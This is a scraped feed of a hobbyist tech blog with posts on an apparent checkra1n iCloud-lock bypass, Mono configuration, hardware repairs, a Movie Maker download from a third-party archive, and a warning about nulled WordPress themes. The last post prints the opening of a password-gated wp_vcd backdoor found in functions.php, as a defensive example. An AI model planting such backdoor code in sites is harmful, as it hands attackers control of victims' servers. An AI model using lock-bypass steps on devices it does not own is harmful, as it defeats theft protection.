<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGobzpV6xBTqpMuC23MpfgezAZpku_gKLk1ZeqU_g_k61WD2nobIrpwNnmHJPK5jh8YjtITeC-CrjSEN7iQG6t51YlkaFBgoQmMkjcN_rg0Nx3hxmUMjtLXAVrvyOyh1NE_7RgFyR18Hk/s1600/step1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="720" data-original-width="405" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGobzpV6xBTqpMuC23MpfgezAZpku_gKLk1ZeqU_g_k61WD2nobIrpwNnmHJPK5jh8YjtITeC-CrjSEN7iQG6t51YlkaFBgoQmMkjcN_rg0Nx3hxmUMjtLXAVrvyOyh1NE_7RgFyR18Hk/s320/step1.jpg" width="180" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<b>Step 3: Run CheckRa1n. First time will fail , close it and run it again.</b></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNU4G-_eFNWgokMChwe_mCyWPuqCebzpsEuJVlhMiaYrH58o_VU3e_r4PF7wzjy3ltvwmyr8V0BCCz7ULscvtakfm2VYJLpk7KiSIFj03Q7tDFOmnqt3nW_gStnBPEkcCQ6SrFLf2UlYo/s1600/step2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="720" data-original-width="405" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNU4G-_eFNWgokMChwe_mCyWPuqCebzpsEuJVlhMiaYrH58o_VU3e_r4PF7wzjy3ltvwmyr8V0BCCz7ULscvtakfm2VYJLpk7KiSIFj03Q7tDFOmnqt3nW_gStnBPEkcCQ6SrFLf2UlYo/s320/step2.jpg" width="180" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
2nd Try always work</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2q9lVuVy3R1FbJIv3jQcHKZJog-ywQ4qpU_dk0VSN-sZD4ke7Uyj2na6M488VBI9y0XuJnQADwDCt6kOjm9BB4QM06L-3WcbV9SnVebkBXQJ_FO25dsual3wlPGtpVus9yKOZ9FeDXtE/s1600/step3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="600" data-original-width="800" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2q9lVuVy3R1FbJIv3jQcHKZJog-ywQ4qpU_dk0VSN-sZD4ke7Uyj2na6M488VBI9y0XuJnQADwDCt6kOjm9BB4QM06L-3WcbV9SnVebkBXQJ_FO25dsual3wlPGtpVus9yKOZ9FeDXtE/s320/step3.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<b>Step 4: GoodBye I-Cloud Lock.</b></div>
<div style="text-align: center;">
<img src="https://scontent.fnic3-1.fna.fbcdn.net/v/t1.15752-9/75412236_1028708277468261_4390113169637376000_n.jpg?_nc_cat=107&_nc_oc=AQk8eXl0UALhEgoY5HhZtr7dY_COzKYOlOP5-pfNpjwdUqZ5CCT3135d4sRCQdD6vGg&_nc_ht=scontent.fnic3-1.fna&oh=53db68f143bd0c499bf3bff6a441eb38&oe=5E4860A2" /><br />
<br />
Check out the video:<br />
<a href="https://www.youtube.com/watch?v=OeHfvTCMBQQ">https://www.youtube.com/watch?v=OeHfvTCMBQQ</a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
LibTiffhttp://www.blogger.com/profile/13909784003708409957noreply@blogger.com1tag:blogger.com,1999:blog-8206292603302104841.post-44538651374733672322019-11-13T12:19:00.000+02:002019-11-13T12:28:06.754+02:00Linux ASP.NET | Resolve Error 500<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipa5tIBp3TpRp_2UCCt-KAU2-DcZPCO6HToAil5Fr-ypA5JClsc4uXcgdBLUyqTLOkbkBnPf-BdqOaAbqfqRf3dBKmvxxUVoLNt6JIo1dkNOEPyCjthOp3F912IcNT28UDsutg4bVl88g/s1600/download.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipa5tIBp3TpRp_2UCCt-KAU2-DcZPCO6HToAil5Fr-ypA5JClsc4uXcgdBLUyqTLOkbkBnPf-BdqOaAbqfqRf3dBKmvxxUVoLNt6JIo1dkNOEPyCjthOp3F912IcNT28UDsutg4bVl88g/s320/download.jpg" width="320" height="320" data-original-width="186" data-original-height="186" /></a></div>
Resolving ERROR 500 on Linux Mono Server<br><br>
<b>Specifications:</b><br>
Linux Distro: Debian<br>
MonoDevelop Server Version: Mono 4.5<br>
Webserver: Apache<br><br>
<b>Step 1:</b><br>
Rename your base page to Index.aspx<br><br>
<b>Step 2:</b><br>
Create or edit your .htaccess file and modify it in order to allow redirection<br>
<blockquote>
Redirect 302 /index.html /Index.aspx
</blockquote><br><br>
<b>Step 3:</b><br>
Mono.NET webconfig:<br>
<blockquote>
<?xml version="1.0"?>
<!--
Web.config file for Test.
The settings that can be used in this file are documented at
http://www.mono-project.com/Config_system.web and
http://msdn2.microsoft.com/en-us/library/b5ysx397.aspx
-->
<configuration>
<system.web>
<compilation debug="true" targetFramework="4.5">
<assemblies />
</compilation>
<httpRuntime targetFramework="4.5" />
</system.web>
</configuration>
</blockquote><br>
<b>Additional Information:</b><br>
http://www.debianadmin.com/running-aspnet-applications-in-debian-and-ubuntu-using-xsp-and-mono.htmlLibTiffhttp://www.blogger.com/profile/13909784003708409957noreply@blogger.com0tag:blogger.com,1999:blog-8206292603302104841.post-10308917288032177162019-11-08T10:53:00.000+02:002019-11-08T10:53:40.192+02:00Zebra P100i Card Printer Door Problem FixIf you happen to own a Zebra P100i printer and the only issue that prevents it from working is the door latch follow the steps below to revive it again.
Screw 2 screws on each side , cut a tire-up to the appropriate cable , drill the inside so the head of the screw can fit and lock.
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYCwEu4cwzh6qRS_Y-S2YdMJ2nuu-GlZgq7OD_3oHOwvh1nnFIdyd2EqKUXiwKlzbtNUOx0mw9cgyLUWXA-b_J7kPb6GysFsVUeBqizz-xlUNAOxQeTWaOaatl5vJJtBsopNy7jj57AZY/s1600/five.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYCwEu4cwzh6qRS_Y-S2YdMJ2nuu-GlZgq7OD_3oHOwvh1nnFIdyd2EqKUXiwKlzbtNUOx0mw9cgyLUWXA-b_J7kPb6GysFsVUeBqizz-xlUNAOxQeTWaOaatl5vJJtBsopNy7jj57AZY/s320/five.jpg" width="320" height="240" data-original-width="960" data-original-height="720" /></a></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgg6D53OsvpjASuiCE-bd5U1m33IrpU0q4dTjh2dpb9zETMciyiOzbm7Nb-h_hDohu_ARh8pXpbJTIdjwsdwKwZf5TexWWPK4tOrfA_w6xs3EVPMSuJqDMy8-leRae_qPvv8W2VcavAFRc/s1600/four.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgg6D53OsvpjASuiCE-bd5U1m33IrpU0q4dTjh2dpb9zETMciyiOzbm7Nb-h_hDohu_ARh8pXpbJTIdjwsdwKwZf5TexWWPK4tOrfA_w6xs3EVPMSuJqDMy8-leRae_qPvv8W2VcavAFRc/s320/four.jpg" width="240" height="320" data-original-width="720" data-original-height="960" /></a></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEik8XOjpha8I4BJFrkwi_I7bxa0wkRx0ogsMSH1lP2-AxC8WoM1jM28Ajud1Vw83miQCzhlpHSWX_wh5qhZZpRmX4tb-TY_fkEwi7StNoVju3-yn9Hcy-Yr_oE8DW3iDJIvvBmqnATUTTo/s1600/one.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEik8XOjpha8I4BJFrkwi_I7bxa0wkRx0ogsMSH1lP2-AxC8WoM1jM28Ajud1Vw83miQCzhlpHSWX_wh5qhZZpRmX4tb-TY_fkEwi7StNoVju3-yn9Hcy-Yr_oE8DW3iDJIvvBmqnATUTTo/s320/one.jpg" width="240" height="320" data-original-width="720" data-original-height="960" /></a></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbF_QBy8aKcuZeSIXgVMlzXF8SDVoAZ9PovcfaX46QcM_cVJI66eribCrBQkLxATWjLC6iqJowsszA_LYeVk5eKejEHFPXApijyJw91ljdbE5KNqx5sJ0xbm7WR-ZJd3v8DMMBZ4n11Sw/s1600/three.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbF_QBy8aKcuZeSIXgVMlzXF8SDVoAZ9PovcfaX46QcM_cVJI66eribCrBQkLxATWjLC6iqJowsszA_LYeVk5eKejEHFPXApijyJw91ljdbE5KNqx5sJ0xbm7WR-ZJd3v8DMMBZ4n11Sw/s320/three.jpg" width="240" height="320" data-original-width="720" data-original-height="960" /></a></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjicpCPzteG1_h5kKcLF6YNMHqIvzatOmSX-2e37FBON6zkIym-lxgVrZICcWqZDCmaPPkyrRiFLM7mfVVYT7Zn7Y1DqCskAXVvOgUfqXPu2tQFBSHWwQT-ThsRNdCrTodElMlqZwM2ffo/s1600/two.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjicpCPzteG1_h5kKcLF6YNMHqIvzatOmSX-2e37FBON6zkIym-lxgVrZICcWqZDCmaPPkyrRiFLM7mfVVYT7Zn7Y1DqCskAXVvOgUfqXPu2tQFBSHWwQT-ThsRNdCrTodElMlqZwM2ffo/s320/two.jpg" width="240" height="320" data-original-width="720" data-original-height="960" /></a></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiX6Ez6ZToFTQXuiS9vmkkGjMJZ3mpHHa4H5-JtijBwlz0wl1y4TJORoeZsgFhCN5wapgi9OnniKJWr2eO3GZwQXgPxfLR2FvGEk3ItQLgUWDj5R_lPcNBiJRuj1TKrE4vJ0NWarI3Sk0I/s1600/zero.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiX6Ez6ZToFTQXuiS9vmkkGjMJZ3mpHHa4H5-JtijBwlz0wl1y4TJORoeZsgFhCN5wapgi9OnniKJWr2eO3GZwQXgPxfLR2FvGEk3ItQLgUWDj5R_lPcNBiJRuj1TKrE4vJ0NWarI3Sk0I/s320/zero.jpg" width="240" height="320" data-original-width="720" data-original-height="960" /></a></div>LibTiffhttp://www.blogger.com/profile/13909784003708409957noreply@blogger.com0tag:blogger.com,1999:blog-8206292603302104841.post-61420077199168626462019-05-25T11:19:00.001+03:002019-05-25T11:23:29.022+03:00Project Boost the Beast: i7 3770K Delid & Installation of Noctua DH-14<center>
Well another project of mine , this time we will be delidding i7 3770K , apply new thermal paste , replace original IHS with a custom 100% copper IHS and install Noctua DH-14.<br />
<br />
What we will use: (Disable your adblock to see the items that'ive used and their links)<br />
<br />
<iframe br="" frameborder="0" gt="" marginheight="0" marginwidth="0" scrolling="no" src="//ws-eu.amazon-adsystem.com/widgets/q?ServiceVersion=20070822&OneJS=1&Operation=GetAdHtml&MarketPlace=GB&source=ac&ref=qf_sp_asin_til&ad_type=product_link&tracking_id=libtiff-21&marketplace=amazon&region=GB&placement=B07BK16TF9&asins=B07BK16TF9&linkId=63304c364e58520d3cd4cc7f436f4bbe&show_border=false&link_opens_in_new_window=false&price_color=333333&title_color=0066C0&bg_color=FFFFFF" style="height: 240px; width: 120px;">
</iframe>
<iframe style="width:120px;height:240px;" marginwidth="0" marginheight="0" scrolling="no" frameborder="0" src="//ws-eu.amazon-adsystem.com/widgets/q?ServiceVersion=20070822&OneJS=1&Operation=GetAdHtml&MarketPlace=GB&source=ac&ref=tf_til&ad_type=product_link&tracking_id=libtiff-21&marketplace=amazon®ion=GB&placement=B07F2ZP351&asins=B07F2ZP351&linkId=86fa4742dde024883ef3452fe7a4605c&show_border=false&link_opens_in_new_window=false&price_color=333333&title_color=0066c0&bg_color=ffffff">
</iframe>
<iframe frameborder="0" marginheight="0" marginwidth="0" scrolling="no" src="//ws-eu.amazon-adsystem.com/widgets/q?ServiceVersion=20070822&OneJS=1&Operation=GetAdHtml&MarketPlace=GB&source=ac&ref=tf_til&ad_type=product_link&tracking_id=libtiff-21&marketplace=amazon&region=GB&placement=B007X1JM30&asins=B007X1JM30&linkId=36dfe09c3fc991173bfb7c9e163045a6&show_border=false&link_opens_in_new_window=false&price_color=333333&title_color=0066c0&bg_color=ffffff" style="height: 240px; width: 120px;">
</iframe>
<iframe frameborder="0" marginheight="0" marginwidth="0" scrolling="no" src="//ws-eu.amazon-adsystem.com/widgets/q?ServiceVersion=20070822&OneJS=1&Operation=GetAdHtml&MarketPlace=GB&source=ac&ref=tf_til&ad_type=product_link&tracking_id=libtiff-21&marketplace=amazon&region=GB&placement=B00L7UZMAK&asins=B00L7UZMAK&linkId=5203e2712fe07b284a3289f3ba41c854&show_border=false&link_opens_in_new_window=false&price_color=333333&title_color=0066c0&bg_color=ffffff" style="height: 240px; width: 120px;">
</iframe>
<iframe frameborder="0" marginheight="0" marginwidth="0" scrolling="no" src="//ws-eu.amazon-adsystem.com/widgets/q?ServiceVersion=20070822&OneJS=1&Operation=GetAdHtml&MarketPlace=GB&source=ac&ref=tf_til&ad_type=product_link&tracking_id=libtiff-21&marketplace=amazon&region=GB&placement=B07FFMMMSD&asins=B07FFMMMSD&linkId=5c9cf67b184cfa0dc399b8b27bec06de&show_border=false&link_opens_in_new_window=false&price_color=333333&title_color=0066c0&bg_color=ffffff" style="height: 240px; width: 120px;">
</iframe>
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5GJU4IjW4I2-ufM_ozru1WKj4fgJmaX76Nqz0ybxjqreiAn4pqXyv1AnLZkL2bFHmn7a3UygVEL6yU0-0n5AimHRHcBw6frx8Ap8CkhWftMnAES_xC8otTAN1octvQDkvlcocaywv1d8/s1600/pic1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1200" data-original-width="1600" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5GJU4IjW4I2-ufM_ozru1WKj4fgJmaX76Nqz0ybxjqreiAn4pqXyv1AnLZkL2bFHmn7a3UygVEL6yU0-0n5AimHRHcBw6frx8Ap8CkhWftMnAES_xC8otTAN1octvQDkvlcocaywv1d8/s320/pic1.jpg" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpQbv5bY1resW_GvsGqYDaCGwyH_CUrXmYEftNdaC9EdDUpT7w_Dca6-PCJOKNBV6Rq4fTuiyCBkVriafDqhVeXGb4t5McbYTf65R11SQ5CzuI9YjPgHTx3Abc7ALKhZsLhJV4dHPRS04/s1600/pic11.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="960" data-original-width="720" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpQbv5bY1resW_GvsGqYDaCGwyH_CUrXmYEftNdaC9EdDUpT7w_Dca6-PCJOKNBV6Rq4fTuiyCBkVriafDqhVeXGb4t5McbYTf65R11SQ5CzuI9YjPgHTx3Abc7ALKhZsLhJV4dHPRS04/s320/pic11.jpg" width="240" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9sLpdNPTTJ2Vl318Mu71lyleWXEcCxOL6DQLT8J1pn5Kvhd3r4NC6zq7MKtDzgzVsiDAZWh_MffTWqdXvQWzjHy7XpyracRc3B85NntCT3E9xRo9-TF9WLj8Ig4XxYfyco4mnoCT-Zxo/s1600/pic2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1200" data-original-width="1600" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9sLpdNPTTJ2Vl318Mu71lyleWXEcCxOL6DQLT8J1pn5Kvhd3r4NC6zq7MKtDzgzVsiDAZWh_MffTWqdXvQWzjHy7XpyracRc3B85NntCT3E9xRo9-TF9WLj8Ig4XxYfyco4mnoCT-Zxo/s320/pic2.jpg" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpApcZsL9wA-PD8UpEKdDS6A4xozrUij62ACgZGp3lwVbY-JPBKcuE7PC00xcjnkqbjhxxG-YSKL0KwYba_bHnuUAhx5wLbBm7h72_ggjIrQlBiAk07iWiD2QYvlr9FxII0OVH-dJm8ks/s1600/pic000.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="960" data-original-width="720" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpApcZsL9wA-PD8UpEKdDS6A4xozrUij62ACgZGp3lwVbY-JPBKcuE7PC00xcjnkqbjhxxG-YSKL0KwYba_bHnuUAhx5wLbBm7h72_ggjIrQlBiAk07iWiD2QYvlr9FxII0OVH-dJm8ks/s320/pic000.jpg" width="240" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMKE_T7MEZRvbZC3gGwq3CiEsSFDZJvlJjQdbXexSjB_H0Y8My_ezMushy_JvlB5hx35IqPSt50duNphN-fZvdXn9d9O1B2bW_wXbXtGE7NYOR7SPlG5J8CRPpvoJ4ijRoZIvhnv6LnYE/s1600/pic3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1200" data-original-width="1600" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMKE_T7MEZRvbZC3gGwq3CiEsSFDZJvlJjQdbXexSjB_H0Y8My_ezMushy_JvlB5hx35IqPSt50duNphN-fZvdXn9d9O1B2bW_wXbXtGE7NYOR7SPlG5J8CRPpvoJ4ijRoZIvhnv6LnYE/s320/pic3.jpg" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFyI8YjJ335Ev5kT9iq7LQ5oTu8xhZTJFlkQIkdVQAIiKWNzwxXLKus2Ulzcd1ahXkevNmzmYyXy400OFqVctxhB2A0QxGegkHamD5IYtUUiSnTSuDHTNVll_J1f_Z85Qrlccti2lpgl4/s1600/pic4.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="960" data-original-width="720" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFyI8YjJ335Ev5kT9iq7LQ5oTu8xhZTJFlkQIkdVQAIiKWNzwxXLKus2Ulzcd1ahXkevNmzmYyXy400OFqVctxhB2A0QxGegkHamD5IYtUUiSnTSuDHTNVll_J1f_Z85Qrlccti2lpgl4/s320/pic4.jpg" width="240" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVSp9RIxyXI6-yaLX4LkCFPSKgpc7wQ_JqUl3rbcijDiVjUElXl-dz0OxyMI6lTuAqae4EJq40CLQSDBdnh_1CcQFS8E88MMJ9MPC3Zbt5D8NNUJ5gnWvpFsPVLjDsSUINU7iKSy5GGcU/s1600/pic0001.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="960" data-original-width="720" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVSp9RIxyXI6-yaLX4LkCFPSKgpc7wQ_JqUl3rbcijDiVjUElXl-dz0OxyMI6lTuAqae4EJq40CLQSDBdnh_1CcQFS8E88MMJ9MPC3Zbt5D8NNUJ5gnWvpFsPVLjDsSUINU7iKSy5GGcU/s320/pic0001.jpg" width="240" /></a></div>
<br />
Temperatures comparison without any overclock: (Speedstep is enabled , thats why theres a difference when idle-ing to frequency)<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg37z3QT_c0prXnvL_zdzzPIkADpUU1mSo9Kko-WuCi6UUO8-U1OKrWnqDXlz9uYXLzlohsAvy0A9LnTMQQZAgkP7cvNhQaxPKXC8d_VWR-txbVI73T5LKKbQKeAiuRWp3thbdUuz6BIs8/s1600/comparisonb.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="369" data-original-width="700" height="168" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg37z3QT_c0prXnvL_zdzzPIkADpUU1mSo9Kko-WuCi6UUO8-U1OKrWnqDXlz9uYXLzlohsAvy0A9LnTMQQZAgkP7cvNhQaxPKXC8d_VWR-txbVI73T5LKKbQKeAiuRWp3thbdUuz6BIs8/s320/comparisonb.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<br />
</center>LibTiffhttp://www.blogger.com/profile/13909784003708409957noreply@blogger.com0tag:blogger.com,1999:blog-8206292603302104841.post-51012806209141823232019-03-04T09:48:00.001+02:002019-03-08T19:54:23.440+02:00Microsoft Movie Maker on Windows 7 / 8 / 10<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4TVMjvhbBE7b_PVkOGOCjkSr5nxZ5h75bhvVYTBqSAlWurae5dPCaOfXo9MZNyUdhkUhAA0wpiU_N4stWAZF2sHtbKEqPf-8SU0B6OKUsFdRCqxV7H5tlQTTkE74wjgWOh9fRahCb7is/s1600/movie-maker-windows.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="668" data-original-width="1200" height="221" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4TVMjvhbBE7b_PVkOGOCjkSr5nxZ5h75bhvVYTBqSAlWurae5dPCaOfXo9MZNyUdhkUhAA0wpiU_N4stWAZF2sHtbKEqPf-8SU0B6OKUsFdRCqxV7H5tlQTTkE74wjgWOh9fRahCb7is/s400/movie-maker-windows.jpg" width="400" /></a></div>
<br />
<br />
Missing the old good simple yet functional movie maker?<br />
<br />
Download the microsoft essential package from the link below and install it , also if you get any errors for missing a .dll , copy the appropriate version inside the moviemaker installation path and it will fix it.<br />
<br />
http://www.mediafire.com/file/09hnwobyy426o36/MovieMaker_Installation.rar/file<br />
<br />LibTiffhttp://www.blogger.com/profile/13909784003708409957noreply@blogger.com0tag:blogger.com,1999:blog-8206292603302104841.post-2370570726039301972019-03-04T09:17:00.003+02:002019-03-04T09:17:58.275+02:00EINNOV IPCAMERA VIDEO MODE SETTINGS<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAYT51rzISE2lFvvf5FqKtZf2GESsqbREK3KMbUibgLuswoidmb4yvbKJMf9iO63922mS7nMOKswQ-qIfjRO-zOf5WbTWla3ZJgoo-o4G8_PphreN6o_VT_Nw3RaypDat3_sS3jsAVy4A/s1600/proof.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="904" data-original-width="1600" height="180" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAYT51rzISE2lFvvf5FqKtZf2GESsqbREK3KMbUibgLuswoidmb4yvbKJMf9iO63922mS7nMOKswQ-qIfjRO-zOf5WbTWla3ZJgoo-o4G8_PphreN6o_VT_Nw3RaypDat3_sS3jsAVy4A/s320/proof.png" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWDMAB-GvVR8IEChm9LbopJyk1TTMng-lFCaAbibMuboRDbc-l5CAmsj5Ks_FsJARi0xNP2qd-549_ZJIUwhd6vqTC6gTdTGPGuObv16StyUkzzWg94tn1lLQrh2BspokGec65nYWsTU4/s1600/proof2.png" imageanchor="1" style="display: inline !important; margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" data-original-height="776" data-original-width="1600" height="155" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWDMAB-GvVR8IEChm9LbopJyk1TTMng-lFCaAbibMuboRDbc-l5CAmsj5Ks_FsJARi0xNP2qd-549_ZJIUwhd6vqTC6gTdTGPGuObv16StyUkzzWg94tn1lLQrh2BspokGec65nYWsTU4/s320/proof2.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
If you have the same ip camera you will notice that if you try to change the video settings to configure better your RTSP/RTMP , whenever you change something on video mode it wont save it.<br />
<br />
A little bit of digging and examination revealed that there was a variable called <b>nn</b> that wasn't declared which makes it impossible for you to save any changes. Since it will always result in execution error: Undeclared Var.<br /><br />I tried to contact the manufacturer through the seller , but they couldn't provide me with a fix(update firmware) so all i got was a refund.LibTiffhttp://www.blogger.com/profile/13909784003708409957noreply@blogger.com0tag:blogger.com,1999:blog-8206292603302104841.post-4612491233706757802018-12-16T11:02:00.000+02:002018-12-16T13:53:07.076+02:00WordPress Theme Examination<div style="text-align: center;">
<b><u>Cracked</u></b> ,<b> <u>nulled</u></b> , <b><u>hacked</u></b> and <b><u>download for free</u> </b>are keywords/terms you should always <u>avoid.<br /></u></div>
<div style="text-align: left;">
An examination of a NULLED THEME revealed some pretty NASTY and definitely FREE functions.</div>
<div style="text-align: left;">
Before we proceed lets make-up a small story. We will use the name John and we will refer to a guy who's a website developer and "builds" wordpress websites for clients.</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
Another imaginary guy who we will name Frank will serve the role of the client on this example.</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<b>So lets summarize:</b><br />
John creates websites , Frank wants to build a website , so he hires John.<br />
John's goal is to make as much profit as possible. <br />So after discussing with the the client and sealing the deal , John decides to reduce the costs and increase his profit even more by downloading a cracked theme instead of buying it from a legitimate source. [and of course not letting the client know anything about it]<br />
<br />
<b>DON'T BE LIKE JOHN</b>.<br /><u><br /></u><b>Results:</b><br />
Malware Infected websites , blacklisted , compromised etc.<br /><b><br /></b><br />
<b>Tips for Clients like Frank:</b><br />
If you decide to go with a wordpress theme and the developer is not someone you are 100% sure that hes not going to follow the same path that John did on the previous example just BUY yourself the wordpress theme and provide him with the .zip sources.<br />
<br />
Below you will see a malware of John's EPIC work which basically infected all templates (functions.php and core.php). I manually removed all of the instances of the script(functions.php , wp-core.php , wp-tmp.php , wp-vcd.php) , checked all the recently modified files on the whole server and run at last a scan by AMSB.<br />
<br />
Malware Details: https://github.com/rakshitshah94/wordpress-wp-vcd-malware-attack-solution<br />
<br />
<b><span style="font-size: large;">An infected sample of functions.php file:</span></b><br />
<br />
<span style="font-size: xx-small;"><?php</span><br />
<span style="font-size: xx-small;">if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '10948a2cd002f84e83693c76f362cd1e'))</span><br />
<span style="font-size: xx-small;"><span style="white-space: pre;"> </span>{</span><br />
<span style="font-size: xx-small;">$div_code_name="wp_vcd";</span><br />
<span style="font-size: xx-small;"><span style="white-space: pre;"> </span>switch ($_REQUEST['action'])</span><br />
<span style="font-size: xx-small;"><span style="white-space: pre;"> </span>{</span><br />
<span style="font-size: xx-small;"><span style="white-space: pre;"> </span>case 'change_domain';</span><br />
<span style="font-size: xx-small;"><span style="white-space: pre;"> </span>if (isset($_REQUEST['newdomain']))</span><br />
<span style="font-size: xx-small;"><span style="white-space: pre;"> </span>{</span><br />
<span style="white-space: pre;"><span style="font-size: xx-small;"> </span></span><br />
